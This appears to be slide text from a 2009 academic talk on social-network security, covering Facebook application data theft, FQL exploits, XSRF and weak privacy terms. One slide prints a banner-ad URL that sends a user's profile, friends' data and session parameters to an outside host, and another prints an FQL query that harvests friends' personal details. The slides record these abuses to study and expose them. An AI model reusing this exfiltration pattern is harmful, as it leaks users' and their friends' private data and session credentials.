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Global Players (4/2009)

Credit: Vincenzo Cosenza



Promotional Techniques



Promotional Techniques



Application Data Theft

What happens when you take a quiz...



Application Data Theft

Facebook Application Architecture



Application Data Theft

URL for banner ad

http://sochr.com/i.php&name=[Joseph Bonneau]&nx=[My User 
ID]&age=[My DOB]&gender=[My Gender]&pic=[My Photo 
URL]&fname0=[Friend #1 Name 1]&fname1=[Friend #2 
Name]&fname2=[Friend #3 Name]&fname3=[Friend #4 Name]&fpic0=[Friend 
#1 Photo URL]&fpic0=[Friend #2 Photo URL]&fpic0=[Friend #3 Photo 
URL]&fpic0=[Friend #4 Photo URL]&fb_session_params=[All of the quiz 
application's session parameters]



Application Data Theft

Query made by banner ad through user's browser

select uid, birthday, current_location, sex, first_name, name, 
pic_square, relationship_status FROM user WHERE uid IN (select uid2 
from friend where uid1 = ‘[current user id]‘) and strlen(pic) > 0 
order by rand() limit 500



Application Data Theft

What the users sees...



Terms of Service

Most Terms of Service reserve broad rights to user data

Terms of Service, hi5:



My Reading List

http://www.cl.cam.ac.uk/~jcb82/sns_bib/main.html

http://www.cl.cam.ac.uk/~jcb82/sns_bib/main.html


Facebook XSRF/Automatic Authentication

Credit: 
Ronan Zilberman



Facebook Query Language

Facebook Query Language Exploits (Bonneau, Anderson, Danezis, 2009)



Web 2.0?

Function Internet version
HTML, JavaScript FBML

DB Queries SQL FBQL
Email SMTP FB Mail

Forums Usenet, etc. FB Groups
Instant Messages XMPP FB Chat

News Streams RSS FB Stream
Authentication FB Connect
Photo Sharing FB Photos
Video Sharing FB Video

FB Notes
Twitter, etc. FB Status Updates

FB Points
Event Planning FB Events
Classified Ads FB Marketplace

Facebook version
Page Markup

OpenID
Flickr, etc.

YouTube, etc.
Blogging Blogger, etc.

Microblogging
Micropayment Peppercoin, etc.

E-Vite
craigslist



The Downside of Re-inventing the Internet

 SNSs repeating all of the web's security problems
− Phishing
− Spam
− 419 Scams & Fraud
− Identity Theft/Impersonation
− Malware
− Cross-site Scripting
− Click-Fraud
− Stalking, Harassment, Bullying, Blackmail



Poor Implementation



Poor Implementation

Orkut Photo Tagging



Poor Implementation

Facebook Connect



Password Sharing
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